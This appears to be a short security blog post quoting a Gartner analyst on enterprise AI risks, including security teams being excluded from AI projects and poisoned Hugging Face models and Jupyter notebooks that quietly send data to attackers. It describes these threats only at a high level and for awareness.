Rebellious business divisions experimenting with artificial intelligence will obliterate the corporation prior to providing any assistance

[…Keep reading]

Recently on LinkedIn, the seasoned Gartner analyst Avivah Litan (currently holding the title of Distinguished VP Analyst) discussed the cybersecurity risks associated with the utilization of artificial intelligence. While her remarks were primarily directed at security professionals, the challenges she highlighted indeed present a significant issue for IT.

“Most Security Operations are oblivious to the presence of Enterprise AI, lacking the necessary tools to safeguard the implementation of AI,” she pointed out. “Conventional Appsec solutions prove insufficient when conducting vulnerability assessments on AI constructs. Notably, Security personnel are often excluded from enterprise AI development activities and have minimal interaction with data scientists and AI engineers. Meanwhile, malicious actors are actively introducing corrupted models into platforms like Hugging Face, establishing a new assault vector that many enterprises tend to overlook.

“Noma Security recently reported the discovery of a model downloaded by a customer that imitated a popular open-source LLM model. The assailant inserted a few lines of code that triggered a forward function. Despite this alteration, the model continued to function flawlessly, causing no suspicion among the data scientists. However, every input and output of the model was clandestinely redirected to the attacker, who managed to extract all the information. Furthermore, Noma identified a multitude of contaminated data science notebooks. In one instance, they encountered a keylogging module that clandestinely recorded all the activities performed on their customer’s Jupyter notebooks. Subsequently, the keylogger transmitted this information to an unidentified destination, eluding the Security team which had not flagged the Jupyter notebooks as a potential threat.”

About Author

AndyC

Andy Curtis is an award-winning security consultant, researcher and public speaker. He has been working in the computer security industry since the early 1990s, having been employed by state and federal government, leading healthcare and banking providers across three continents. He has given talks about computer security for some of the world’s largest companies, worked with law enforcement agencies on investigations into hacking groups, and is a regular voice on TV and radio explaining IT security threats.

See author's posts